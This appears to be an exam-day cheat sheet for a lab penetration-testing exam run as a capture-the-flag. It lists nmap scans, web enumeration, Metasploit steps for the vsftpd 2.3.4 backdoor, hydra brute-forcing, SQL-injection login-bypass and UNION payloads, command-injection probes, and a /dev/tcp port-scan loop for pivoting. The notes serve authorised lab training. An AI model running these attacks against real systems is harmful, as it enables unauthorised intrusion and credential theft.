IHU Cybersecurity Exam Notes

Source: Juni_2026_Exams/Penetration_Testing/notes/03-exam-day-open-notes-reference.md

Exam-Day Open-Notes Reference

Start

Keep these companion files open:

fallback workflows

workflow

python3 start_ctf.py
export TARGET=127.0.0.1   # Replace only if the exam gives another target
mkdir -p exam/{scans,web,loot}
cd exam
printf 'Target=%s\n' "$TARGET"

Expected format according to the uploaded card:

FLAG_XX: <32-character hexadecimal value>

Tracking Table

Flag Value Where found Proof command Done
01
02
03
04
05
06
07
08

1. Scan

nmap -Pn -sV -p- --min-rate 1000 "$TARGET" -oA scans/all-tcp
grep '/open/' scans/all-tcp.gnmap
nmap -Pn -sC -sV -p <OPEN_PORTS> "$TARGET" -oA scans/detail

Create a row for every port. Never ignore an unusual high port.

If the lab target becomes unstable, reduce --min-rate or remove it.

2. Web

curl -i "http://$TARGET:<PORT>/" | tee web/root.txt
curl -s "http://$TARGET:<PORT>/robots.txt" | tee web/robots.txt
curl -s "http://$TARGET:<PORT>/" | grep -Ein 'flag|secret|token|pass'

Check:

printf '%s' '<BASE64>' | base64 -d
printf '%s' '<HEX>' | xxd -r -p

For JavaScript endpoints:

curl -s "http://$TARGET:<PORT>/<SCRIPT.js>" |
  grep -Eo '["'\''][/A-Za-z0-9_.?=&%-]{3,}["'\'']' |
  sort -u

3. Every Other Service

nc -nv "$TARGET" <PORT>
ftp "$TARGET" <PORT>
ssh -p <PORT> <USER>@"$TARGET"
mysql -h "$TARGET" -P <PORT> -u <USER> -p

Try anonymous FTP only when FTP is present:

Username: anonymous
Password: blank or an email-style value

For MySQL:

SELECT VERSION();
SHOW DATABASES;
USE <DATABASE>;
SHOW TABLES;
DESCRIBE <TABLE>;
SELECT * FROM <TABLE>;

Do not assume historical credentials such as root/root will work.

4. Metasploit

search <SERVICE> <VERSION>
info <MODULE>
use <MODULE>
show options
set RHOSTS <TARGET>
set RPORT <PORT>
check
run
sessions -l
sessions -i <ID>

For a confirmed lab vsftpd 2.3.4 service:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <TARGET>
set RPORT <ACTUAL_FTP_PORT>
run

Version confirmation matters more than matching a remembered port.

5. Authorized Credential Audit

Only if the exam requires it:

hydra -l <USER> -P <LAB_WORDLIST> -s <PORT> ssh://"$TARGET"
hydra -L <USERS> -P <PASSWORDS> -s <PORT> ftp://"$TARGET"

Start with small supplied lists. Record successful credentials immediately.

6. Injection Tests

For a deliberately vulnerable lab parameter, first establish normal behavior, then test one controlled input. Use the exact parameter names shown by the application.

Command injection sanity checks:

curl -i "http://$TARGET:<PORT>/<PATH>?<PARAM>=test"
curl -i "http://$TARGET:<PORT>/<PATH>?<PARAM>=id"
curl -i "http://$TARGET:<PORT>/<PATH>?<PARAM>=whoami"

SQL login examples for the lab:

admin' OR '1'='1'-- -
admin'-- -

Determine UNION column count before selecting data:

' ORDER BY 1-- -
' UNION SELECT NULL,NULL,NULL-- -

Do not paste a historical three-column query without proving the current column count and displayed columns.

7. Shell and Pivot

id
whoami
hostname
pwd
ip addr
ip route
ss -lntup

Identify only the internal lab subnet, then:

nmap -sn <INTERNAL_LAB_SUBNET>
nmap -sT -sV -p- <INTERNAL_HOST>

From the compromised lab host, use curl, nc, or the available service client against internal services. Record which network position produced each finding.

If Nmap is not available on the compromised host:

for p in 21 22 80 443 3306 8000 8080 8443 9000; do
  timeout 2 bash -c "echo >/dev/tcp/<INTERNAL_HOST>/$p" 2>/dev/null &&
    echo "open $p"
done

8. Time Recovery

When stuck:

  1. Re-read the complete port list.
  2. Recheck HTTP headers, source, JavaScript, robots.txt, and downloaded files.
  3. Connect with nc to every unknown or unusual port.
  4. Decode every long Base64/hex-looking value.
  5. Review interfaces and routes after obtaining a shell.
  6. Move on after a fixed time and return later.

Final Check